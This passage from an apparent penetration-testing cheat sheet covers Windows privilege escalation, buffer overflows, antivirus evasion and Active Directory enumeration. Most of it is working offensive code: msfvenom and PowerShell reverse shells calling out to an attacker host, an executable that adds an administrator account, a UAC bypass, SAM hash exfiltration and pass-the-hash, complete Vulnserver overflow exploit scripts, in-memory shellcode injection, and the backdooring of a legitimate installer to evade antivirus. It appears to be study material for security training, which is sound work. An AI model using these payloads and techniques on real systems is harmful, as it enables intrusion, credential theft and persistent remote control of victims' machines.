questions](https://support.microsoft.com/en-us/windows/32-bit-and-64-bit-windows-frequently-asked-questions-c6ca9541-8dce-4d48-0415-94a3faa2e13d) #### <ins>Generate a reverse shell</ins> 1. Generate the reverse shell on your attacker machine: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe` 2. Transfer it to the Windows machine with SMB: `sudo python3 /opt/impacket/examples/smbserver.py kali .` and then `copy \\<IP>\kali\reverse.exe C:\PrivEsc\reverse.exe` Create a PowerShell remoting session via WinRM 1. `$password = ConvertTo-SecureString <password> -AsPlainText -Force` 2. `$cred = New-Object System.Management.Automation.PSCredential("<password>", $password)` 3. `Enter-PSSession -ComputerName <computer_name> -Credential $cred` Check also: - [Windows Reverse Shells Cheatsheet](https://podalirius.net/en/articles/windows-reverse-shells-cheatsheet/) - [Evil-WinRM](https://github.com/Hackplayers/evil-winrm) - `evil-winrm -i <IP> -u <username> -p <password>` - [powershell_reverse_shell.ps1](https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3) ```powershell # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` Other shells with msfvenom - `msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=8444 EXITFUNC=thread -f exe -o shell.exe` - `msfvenom -p windows/×64/shell_reverse_tcp LHOST=<IP> LPORT=445 -f exe -e 64/xor -o shell.exe` - `msfvenom -f psh-cmd -p windows/shell_reverse_tc LHOST=tun0 LPORT=8443 -o rev.ps1` - `msfvenom -f ps1 -p windows/shell_reverse_tcp LHOST=tun0 LPORT=8443 -o rev.ps1` - `msfvenom -p windows/shell_reverse_tcp --list formats` - `msfvenom -p windows/shell_reverse_tcp --list-options` #### <ins>Kernel Exploits</ins> 1. Save the output of the `systeminfo` command: `systeminfo > systeminfo.txt` - Try also the command: `systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"` 2. Use it with [Windows Exploit Suggester](https://github.com/bitsadmin/wesng) to find potential exploits: `python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less` - See also: [Watson](https://github.com/rasta-mouse/Watson) 3. See [windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) #### <ins>Driver Exploits</ins> 1. Enumerate the drivers that are installed on the system: `driverquery /v` 2. Search in the Exploit Database #### <ins>Service Exploits</ins> Note: to find running services, use this command from the powershell: `Get-Service` or `Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}` **Service Commands** ``` sc.exe qc <name> Query the configuration of a service sc.exe query <name> Query the current status of a service sc.exe config <name> <option>= <value> Modify a configuration option of a service net start/stop <name> Start/Stop a service ``` **Insecure Service Permissions** 1. Use AccessChk to check the "user" account's permissions on the "daclsvc" service: - `C:\PrivEsc\accesschk.exe /accepteula -uwcqv <user> <service>` 2. If `SERVICE_CHANGE_CONFIG` is present, it's possible to change the service configuration 3. Query the service. If it runs with `SYSTEM` privileges, it's possible a privilege escalation - `sc qc <service>` - Example: `SERVICE_START_NAME: LocalSystem` 4. Modify the service config and set the `BINARY_PATH_NAME` (binpath) to the reverse shell executable - `sc config <service> binpath= "\"C:\PrivEsc\reverse.exe\""` 5. Set a listener and start the service `net start <service>` **Unquoted Service Path** 1. Check: ["Microsoft Windows Unquoted Service Path Vulnerability"](https://www.tenable.com/sc-report-templates/microsoft-windows-unquoted-service-path-vulnerability) 2. Query a service. If it runs with `SYSTEM` privileges (check `SERVICE_START_NAME`) and the `BINARY_PATH_NAME` value is unquoted and contains spaces, it's possible a privilege escalation - `sc qc <service>` - Example: `BINARY_PATH_NAME: C:\Program Files\Unquoted Path Service\Common Results\unquotedpathservice.exe` - You can also use the Powershell command `wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """` 3. Use AccessChk to check write permissions in this directory `C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"` - You can review the permissions with `icacls "C:\"` and `icacls "C:\Program Files\Enterprise Apps"` - Check if you can run and stop the service with `Start-Service GammaService` and `Stop-Service` 4. Copy the reverse shell `copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"` 5. Start a listener on the attacker machine and run the service **Weak Registry Permissions** 1. Query a service. Check if it runs with `SYSTEM` privileges (check `SERVICE_START_NAME`) - `sc qc <service>` 2. Use AccessChk to check the write permissions of the registry entry for the service - note: `NT AUTHORITY\INTERACTIVE` group means all logged-on users - `C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<service>` 3. Overwrite the ImagePath registry key to point to the reverse shell executable: `reg add HKLM\SYSTEM\CurrentControlSet\services\<service> /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f` 4. Start a listener on the attacker machine and run the service **DLL Hijacking** - See: [DLL Hijacking](#dll-hijacking) #### <ins>User Account Control (UAC)</ins> Example: - Even if we are logged in as an administrative user, we must move to a high integrity level in order to change the admin user's password. - To do it, run the following commands ```PowerShell <# spawn a cmd.exe process with high integrity #> powershell.exe Start-Process cmd.exe -Verb runAs <# successfully changing the password of the admin user after spawning cmd.exe with high integrity #> whoami /groups net user admin Ev!lpass ``` UAC Bypass with `fodhelper.exe`, a Microsoft support application responsible for managing language changes in the operating system. Runs as high integrity on `Windows 10 1709` - "[First entry: Welcome and fileless UAC bypass](https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/)" - "[UAC Bypass – Fodhelper](https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/)" - `REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f` #### <ins>Insecure File Permissions</ins> Also called "Service Binary Hijacking". Exploit insecure file permissions on services that run as nt authority\system 1. List running services on Windows using PowerShell `Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}` 2. Enumerate the permissions on the target service `icacls "C:\Program Files\Serviio\bin\ServiioService.exe"` - For this scenario, any user (BUILTIN\Users) on the system has full read and write access to it - See also "[Serviio PRO 1.8 DLNA Media Streaming Server - Local Privilege Escalation](https://www.exploit-db.com/exploits/41959)" 3. Substitute `ServiioService.exe` with the following ```C #include <stdlib.h> int main () { int i; i = system ("net user [username] [password] /add"); i = system ("net localgroup administrators [username] /add"); return 0; } ``` - `i686-w64-gcc adduser.c -o adduser.exe` or `x86_64-w64-mingw32-gcc adduser.c -o adduser.exe` to Cross-Compile the C Code to a 64-bit application - `move "C:\Program Files\Serviio\bin\ServiioService.exe" "C:\Program Files\Serviio\bin\ServiioService_original.exe"` - `move adduser.exe "C:\Program Files\Serviio\bin\ServiioService.exe"` - `dir "C:\Program Files\Serviio\bin\"` 4. Restart the service, here's two options - `net stop Serviio` - `Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'Serviio'}` Obtain Startup Type for Serviio service - Check `Startmode` of the service with `wmic service where caption="Serviio" get name, caption, state, startmode` - If it's `Auto`, it means that it will restart after a reboot. Reboot with `shutdown /r /t 0 `. 5. Check if it worked with `net localgroup Administrators` **PowerUp.ps1** 1. Check [PowerUp.ps1](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) and make it available with `python3 -m http.server 80` 2. Download it from the victim machine `iwr -uri http://<IP>/PowerUp.ps1 -Outfile PowerUp.ps1` 3. Run the commands `powershell -ep bypass` and `. .\PowerUp.ps1` 4. Then run `Get-ModifiableServiceFile` to display services the current user can modify 5. Run `Install-ServiceBinary -Name 'mysql'`. If it throws an error even if you already know that the current user has full access permissions on the service binary, proceed with manual exploitation #### <ins>Registry</ins> **AutoRuns** 1. Query the registry for AutoRun executables: `reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` 2. Use AccessChk to check write permissions of the executables `C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\<program>.exe"` 3. Overwrite the reverse shell executables in the `<program>` path: `copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y` 4. Start a listener on the attacker machine. A new session on the victim machine will trigger a reverse shell running with admin privileges **AlwaysInstallElevated** 1. Query the registry for AlwaysInstallElevated keys: `reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` - Note if both keys are set to 1 (`0x1`) 2. Generate a reverse shell installer `.msi` with `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o reverse.msi` 3. Transfer the installer `.msi` to the Windows machine 4. Start a listener on the attacker machine and then run the installer to trigger a reverse shell running with SYSTEM privileges: `msiexec /quiet /qn /i C:\PrivEsc\reverse.msi` #### <ins>Passwords</ins> **Registry** 1. Search for keys and values that contain the word "password" - `reg query HKLM /f password /t REG_SZ /s` - `reg query HKCU /f password /t REG_SZ /s` 2. If you have found an admin and its password, use [winexe](https://www.kali.org/tools/winexe/) command from the attacker machine to spawn a command prompt running with the admin privileges `winexe -U 'admin%password' //<IP> cmd.exe` **Saved Credentials** 1. Check for any saved credentials `cmdkey /list` 2. Start a listener on the attacker machine and run the reverse shell executable using `runas` with the admin user's saved credentials: `runas /savecred /user:admin C:\PrivEsc\reverse.exe` **Search for Configuration Files** 1. Run the commands: `dir /s *pass* == *.config` and `findstr /si password *.xml *.ini *.txt` 2. Use winPEAS to search for common files which may contain credentials: `.\winPEASany.exe quiet cmd searchfast filesinfo` - also run `.\winPEASx64.exe windowscreds filesinfo fileanalysis searchpf log=winpeas_out.txt` **Security Account Manager (SAM)** 1. The `SAM` and `SYSTEM` files can be used to extract user password hashes. Check also backups of these files - `copy C:\Windows\Repair\SAM \\<IP>\kali\` - `copy C:\Windows\Repair\SYSTEM \\<IP>\kali\` 2. Dump the hashes with "creddump7": `python3 creddump7/pwdump.py SYSTEM SAM` 3. Crack the hashes with `hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt` **Passing The Hash** 1. Use the hashes to authenticate: `pth-winexe -U 'admin%hash' //<IP Victim> cmd.exe` #### <ins>Scheduled Tasks</ins> 1. List all scheduled tasks your user can see: - `schtasks /query /fo LIST /v` - In PowerShell: `Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State` 2. Search in Task Manager for any scheduled task 1. See if you find any `.ps1` script. - If the script found run as `SYSTEM`, check the write permissions of it with `C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\<script>.ps1` - Add to it a line to run the reverse shell `echo C:\PrivEsc\reverse.exe >> C:\<script>.ps1` 2. For the `.exe`, review the permissions with `icals C:\Users\Documents\service.exe` - If you have full access permissions, substitute the `.exe` as in the section [Insecure File Permissions](#insecure-file-permissions) #### <ins>Insecure GUI Apps</ins> 1. Open an app. Look at the privilege level it runs with `tasklist /V | findstr mspaint.exe` 2. If the app runs with admin privileges and gives the possibility to open a file dialog box, click in the navigation input and paste: `file://c:/windows/system32/cmd.exe` #### <ins>Startup Apps</ins> 1. Note if `BUILTIN\Users` group can write files to the StartUp directory: `C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"` 2. Using cscript, run the following script to create a new shortcut of the reverse shell executable in the StartUp directory: - ```VBScript Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "C:\PrivEsc\reverse.exe" oLink.Save ``` #### <ins>Installed Applications</ins> 1. Manually enumerate all running programs: `tasklist /v` - With seatbelt: `.\seatbelt.exe NonstandardProcesses` - With winPEAS: `.\winPEASany.exe quiet procesinfo` 2. Search for the applications' versions - Try running the executable with `/?` or `-h,` as well as checking config or text files in the `Program Files` directory 3. Use Exploit-DB to search for a corresponding exploit #### <ins>Hot Potato</ins> Note: This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts. 1. See [Hot Potato](https://jlajara.gitlab.io/Potatoes_Windows_Privesc#hotPotato), get the exploit [here](https://github.com/foxglovesec/Potato) 2. Start a listener on the attacker machine 3. Run the exploit: `.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true` 4. Wait for a Windows Defender update (or trigger one manually) #### <ins>Token Impersonation</ins> **[RoguePotato](https://github.com/antonioCoco/RoguePotato)** 1. See [Rogue Potato](https://jlajara.gitlab.io/Potatoes_Windows_Privesc#roguePotato) 2. Set up a socat redirector on the attacker machine, forwarding its port 135 to port 9999 on Windows `sudo socat tcp-listen:135,reuseaddr,fork tcp:<Windows IP>:9999` 3. Execute the PoC: `.\RoguePotato.exe -r YOUR_IP -e "command" -l 9999` 4. Check [Juicy Potato](https://github.com/ohpe/juicy-potato), it's an improved version **More Potatoes** - See: [Potatoes - Windows Privilege Escalation](https://jlajara.gitlab.io/Potatoes_Windows_Privesc) **[PrintSpoofer](https://github.com/itm4n/PrintSpoofer)** - Usage 1 1. Copy `PSExec64.exe` and the `PrintSpoofer.exe` exploit executable over the Windows machine 2. Using an administrator command prompt, use PSExec64.exe to trigger a reverse shell running as the Local Service service account: `C:\PrivEsc\PSExec64.exe /accepteula -i -u "nt authority\local service" C:\PrivEsc\reverse.exe` 3. Run the PrintSpoofer exploit to trigger a reverse shell running with SYSTEM privileges: `C:\PrivEsc\PrintSpoofer.exe –i -c "C:\PrivEsc\reverse.exe"` - Usage 2 1. Copy the `PrintSpoofer.exe` exploit executable over the Windows machine 2. `.\PrintSpoofer64.exe -i -c powershell.exe` #### <ins>getsystem</ins> - **Access Tokens**: When a user first logs in, this object is created and linked to their active session. A copy of the user's principal access token is added to the new process when they launch it. - **Impersonation Access Token**: When a process or thread momentarily needs to run with another user's security context, this object is created. - **Token Duplication**: Windows permits processes and threads to use multiple access tokens. This allows for the duplication of an impersonation access token into a main access token. If we have the ability to inject into a process, we can leverage this feature to copy the process's access token and launch a new process with the same rights. - **Documentation**: [Meterpreter getsystem | Metasploit Documentation](https://docs.rapid7.com/metasploit/meterpreter-getsystem/) ### <ins>Buffer Overflow</ins> **Tools** - [Immunity Debugger](https://www.immunityinc.com/products/debugger/) + [mona](https://github.com/corelan/mona) - [Vulnserver](https://thegreycorner.com/vulnserver.html) - Note: usually, `<port vulnserver>` is `9999` - [Kali](https://www.kali.org/) - See also [Buffer Overflows Made Easy | The Cyber Mentor](https://www.youtube.com/playlist?list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G) - [mingw-w64](https://www.mingw-w64.org/), a cross-compiler for programs written to be compiled in Windows. With it you can compile them in an OS like Linux - Example of usage: `i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32` - See also: [Buffer Overflow Prep](https://tryhackme.com/room/bufferoverflowprep) **Issues** - ["Problems attach Immunity to Vulnserver on Windows 10"](https://www.reddit.com/r/hacking/comments/ohg5t0/problems_attach_immunity_to_vulnserver_on_windows/): Don't start vulnserver, start Immunity as Admin, File > Open > vulnserver.exe, push "play". **Steps to conduct a Buffer Overflow** 1. [Spiking](#spiking) 2. [Fuzzing](#fuzzing) 3. [Finding the Offset](#finding-the-offset) 4. [Overwriting the EIP](#overwriting-the-eip) 5. [Finding bad characters](#finding-bad-characters) 6. [Finding the right module](#finding-the-right-module) 7. [Generating Shellcode](#generating-shellcode) #### <ins>Spiking</ins> `generic_send_tcp <IP Vulnserver> <port vulnserver> script.spk 0 0` **Example: trun.spk** ```spike s_readline(); s_string("TRUN "); s_string_variable("0"); ``` #### <ins>Fuzzing</ins> ```python #!/usr/bin/python3 import sys, socket from time import sleep buffer = "A" * 100 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<IP Vulnserver>', <port vulnserver>)) s.send(('TRUN /.:/' + buffer).encode()) s.close() sleep(1) buffer += "A" * 100 except: print ("Fuzzing crashed at %s bytes" % str(len(buffer))) sys.exit() ``` #### <ins>Finding the Offset</ins> 1. Get the result from: `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <bytes_where_server_crashed>` 2. Modify the previous script in ```python #!/usr/bin/python3 import sys, socket from time import sleep offset = "RESULT_FROM_STEP_1" while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<IP Vulnserver>', <port vulnserver>)) s.send(('TRUN /.:/' + offset).encode()) s.close() except: print ("Error connecting to the server") sys.exit() ``` 3. After running the script, read the value from the EIP 4. With that value, run this script: `/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q EIP_VALUE_STEP_2` #### <ins>Overwriting the EIP</ins> From the previous result, we should get the position `2003` for the start of the EIP. We can test this by sending `A * 2003` plus `B * 4` and see if `EIP = 42424242` (since `42424242` = `BBBB`). ```python #!/usr/bin/python3 import sys, socket from time import sleep shellcode = "A" * 2003 + "B" * 4 while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<IP Vulnserver>', <port vulnserver>)) s.send(('TRUN /.:/' + shellcode).encode()) s.close() except: print ("Error connecting to the server") sys.exit() ``` #### <ins>Finding bad characters</ins> You can generate a string of bad chars with the following python script ```Python for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print() ``` The following python script is used to find bad chars ```python #!/usr/bin/python3 import sys, socket from time import sleep badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff") shellcode = "A" * 2003 + "B" * 4 + badchars while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<IP Vulnserver>', <port vulnserver>)) s.send(('TRUN /.:/' + shellcode)) s.close() except: print "Error connecting to the server" sys.exit() ``` 1. After starting the script, once vulnserver breaks down, go in Immunity `Debugger` > `Registers` > Right-click on `ESP` > `Follow in Dump` > See `Hex dump`. 2. Check if the Hex dump makes sence, e.g. in the Hex dump there is no number value missing. - Example: you may get a result like `... 01 02 03 B0 B0 06 07 08 ...`. As you can see, `04` and `05` are missing, so you've found a bad character. 3. Write down every character missing Another solution to the step `3.`, with mona and Immunity Debugger 1. Set the working directory with `!mona config -set workingfolder c:\mona` 2. Generate bad characters with `!mona bytearray -cpb "\x00"` from Immunity Debugger - Notice the new files in `c:\mona` 3. Run the python script of this section 4. Execute the command `!mona compare -f c:\mona\bytearray.bin -a <address of ESP>` - Note: this may cause false positive #### <ins>Finding the right module</ins> Note: `JMP ESP` will be used as the pointer to jump to the shellcode. With `nasm_shell.rb` we can get the hex equivalent to these commands. ``` /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > JMP ESP 00000000 FFE4 jmp esp ``` On Immunity, using mona, type 1. `!mona modules` to get the module to use, one with no memory protection for vulneserver. In this case, `essfunc.dll`. 2. `!mona jmp -r ESP -m "essfunc.dll"` to find the jump address 3. See the entries in `[+] Results:` #### <ins>Generating Shellcode</ins> 1. Copy the result from `msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"` - Always note the payload size - `-b` is for the badchars identified 2. See the following script ```python #!/usr/bin/python3 import sys, socket from time import sleep overflow = () # HERE INSERT THE RESULT FROM THE STEP 1, THE VALUE IN `unsigned char buf[]` # Before every line insert `b`, this will say to bytencode the string shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<IP Vulnserver>', <port vulnserver>)) s.send((b'TRUN /.:/' + shellcode)) s.close() except: print ("Error connecting to the server") sys.exit() ``` - "\xaf\x11\x50\x62" is the jump address found for this example `625011af` in reverse - `shellcode` also contains `"\x90" * 32`. Those are NOPs, some padding to make sure that our code gets executed. 3. Use the command `nc -nvlp 4444` 4. Run the script, notice the shell in netcat ## Antivirus Evasion ### <ins>ToDo</ins> - Discover the AV in the machine of the victim - Create a VM that resembles the victim's machine - Make sure to disable sample submission - `Windows Security` > `Virus & threat protection` > `Manage Settings` > `Automatic Sample Submission` - As last resort, check the malware created with - [VirusTotal](https://www.virustotal.com/) - [AntiScan.Me](https://antiscan.me/) ### <ins>Thread Injection</ins> 1. Write this In-memory payload injection PowerShell `.ps1` script, from [PEN-200](https://www.offsec.com/courses/pen-200/) ```PowerShell <# Importing Windows APIs in PowerShell #> $code = ' [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr dest, uint src, uint count);'; <# Memory allocation and payload writing using Windows APIs in PowerShell #> $var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru; [Byte[]]; [Byte[]] $var1 = <SHELLCODE-HERE>; $size = 0x1000; if ($var1.Length -gt 0x1000) {$size = $var1.Length}; $x = $var2::VirtualAlloc(0,$size,0x3000,0x40); for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset([IntPtr]($x.ToInt32()+$i), $var1[$i], 1)}; <# Calling the payload using CreateThread #> $var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 }; ``` 2. Generate a PowerShell compatible payload - `msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f powershell` 3. Insert the result in `[Byte[]] $var1` in the PowerShell Script 4. Change the ExecutionPolicy for current user ```PowerShell PS C:\> Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser PS C:\> Get-ExecutionPolicy -Scope CurrentUser ``` 5. Set up a handler to interact with the meterpreter shell ```PowerShell msf exploit(multi/handler) > show options <# Set the correct values #> msf exploit(multi/handler) > exploit ``` 6. Run the PowerShell script - You can also decide to convert the script in base64 with [ps_encoder.py](https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py) and run it with `powershell.exe -e <BASE64>` 8. Get the meterpreter shell on the attacking machine ### <ins>Shellter</ins> Note - [An important tip for Shellter usage](https://www.shellterproject.com/an-important-tip-for-shellter-usage/) Example of usage 1. Select Auto mode with `A` 2. Selecting a target PE in shellter and performing a backup, in this case the WinRAR installer: `/home/kali/Desktop/winrar-x32-621.exe` 3. Enable stealth mode with `Y` 4. Select a listed payload with `L` 5. Select `meterpreter_reverse_tcp` with `1` 6. Set `LHOST` and `LPORT` 7. Create a listener in Kali with Metasploit - `msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <IP>;set LPORT <PORT>;run;"` 8. Get the meterpreter shell on the attacking machine ### <ins>Active Directory</ins> #### <ins>Notes</ins> - See also [Cheat Sheet - Active Directory](https://github.com/drak3hft7/Cheat-Sheet---Active-Directory), [Active Directory Exploitation Cheat Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) and [Pentesting_Active_directory mindmap](https://web.archive.org/web/20220607072235/https://www.xmind.net/m/5dypm8/) - [WADComs](https://wadcoms.github.io/), an interactive cheat sheet - Check for `Domain Admins` and `Service Accounts` groups - Add an account to a group - `net group "<group>" <user> /add /domain` - Verify the success of the command with `Get-NetGroup "<group>" | select member` - Delete the `<user>` with `/del` instead of `/add` - Use `gpp-decrypt` to decrypt a given GPP encrypted string - Note `ActiveDirectoryRights` and `SecurityIdentifier` for each object enumerated during [Object Permissions Enumeration](#bbject-permissions-enumeration) - The highest permission is `GenericAll`. Note also `GenericWrite`, `WriteOwner`, `WriteDACL`, `AllExtendedRights`, `ForceChangePassword`, `Self (Self-Membership)` - See: [ActiveDirectoryRights Enum (System.DirectoryServices)](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2) | Server | Algorithm available | | --- | --- | | Windows 2003 | NTLM | | Windows Server 2008 or later | NTLM and SHA-1 | | - Old Windows OS (like Windows 7)<br/> - OS that have it manually set | [WDigest](https://technet.microsoft.com/en-us/library/cc778868(v=ws.10).aspx) | #### <ins>Manual Enumeration</ins> #### Legacy Windows applications ``` net user /domain display users in the domain net user <username> /domain net-user against a specific user net group /domain enumerate groups in the domain net group "<group-name>" /domain display members in specific group ``` #### PowerShell and .NET ``` LDAP://host[:port][/DistinguishedName] LDAP path format. CN = Common Name; DC = Domain Component; [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() domain class from System.DirectoryServices.ActiveDirectory namespace powershell -ep bypass bypass the execution policy ([adsi]'').distinguishedName obtain the DN for the domain ``` #### <ins>PowerView</ins> ``` Import-Module .\PowerView.ps1 Import PowerView; https://powersploit.readthedocs.io/en/latest/Recon/ Get-NetDomain Obtain domain information Get-NetUser | select cn,pwdlastset,lastlogon Obtain users in the domain; username only Get-NetGroup | select cn Obtain groups in the domain Get-NetGroup "GROUP-NAME" | select member Enumerate a specific group Get-NetComputer Enumerate the computer objects in the domain Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion Display OS and hostname Find-LocalAdminAccess Scan domain to find local administrative privileges for our user Get-NetSession -ComputerName INPUT -Verbose Check logged on users with Get-NetSession Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl Display permissions on the DefaultSecurity registry hive Object Permissions Enumeration ------------------------------ Get-ObjectAcl -Identity <username> Enumerate ACEs Convert-SidToName <SID> Convert ObjectISD and SecurityIdentifier into names "<SID>", "<SID>", "<SID>", "<SID>", ... | Convert-SidToName Convert <SID>s into names Get-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights Enumerat ACLs for <group>, only display values equal to GenericAll Domain Shares Enumeration ------------------------- Find-DomainShare Find Domain Shares ``` - See also [PowerView-3.0-tricks.ps1](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) #### <ins>PsLoggedOn</ins> Download: [PsLoggedOn - Sysinternals | Microsoft Learn](https://learn.microsoft.com/en-us/sysinternals/downloads/psloggedon) ``` .\PsLoggedon.exe \\COMPUTERNAME See user logons at COMPUTERNAME ``` #### <ins>Service Principal Names Enumeration</ins> ``` setspn -L <username> List the SPNs connected to a certain user account Get-NetUser -SPN | select samaccountname,serviceprincipalname List the SPNs accounts in the domain ``` #### <ins>Object Permissions Enumeration</ins>= ``` Get-ObjectAcl -Identity <username> Enumerate ACEs Convert-SidToName <SID> Convert ObjectISD and SecurityIdentifier into names "<SID>", "<SID>", "<SID>", "<SID>", ... | Convert-SidToName Convert <SID>s into names Get-ObjectAcl -Identity "<group>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights Enumerat ACLs for <group>, only display values equal to GenericAll ``` #### <ins>Domain Shares Enumeration</ins> ``` Find-DomainShare Find Domain Shares ``` #### <ins>SharpHound</ins> ``` Import-Module .\Sharphound.ps1 Import SharpHound; https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1 Get-Help Invoke-BloodHound Learn more about Invoke-BloodHound; To run SharpHound you must first start BloodHound Invoke-BloodHound -CollectionMethod All -OutputDirectory <DIR> -OutputPrefix "corp audit" Collect domain data ``` #### <ins>BloodHound</ins> - Note: you need to start Neo4j first with `sudo neo4j start` and then use the command `bloodhound` to start BloodHound. - Default credentials for 